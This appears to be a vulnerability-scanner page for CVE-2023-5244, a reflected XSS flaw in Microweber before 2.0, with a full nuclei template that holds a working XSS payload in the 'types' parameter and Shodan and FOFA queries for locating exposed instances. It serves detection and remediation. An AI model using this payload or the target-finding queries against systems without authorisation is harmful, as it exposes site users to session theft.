Microweber < V.2.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.

Fix

Update Microweber to version 2.0 or later.

How to confirm it

Send: GET {{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "alert(document.domain)", "microweber")

Run it with nuclei: nuclei -id CVE-2023-5244 -u <target>

The full check

id: CVE-2023-5244

info:
  name: Microweber < V.2.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Microweber to version 2.0 or later.
  reference:
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
    - https://vuldb.com/?id.240778
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5244
    - https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
    - https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5244
    cwe-id: CWE-79
    epss-score: 0.01122
    epss-percentile: 0.66476
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2023,huntr,xss,microweber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "alert(document.domain)", "microweber")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from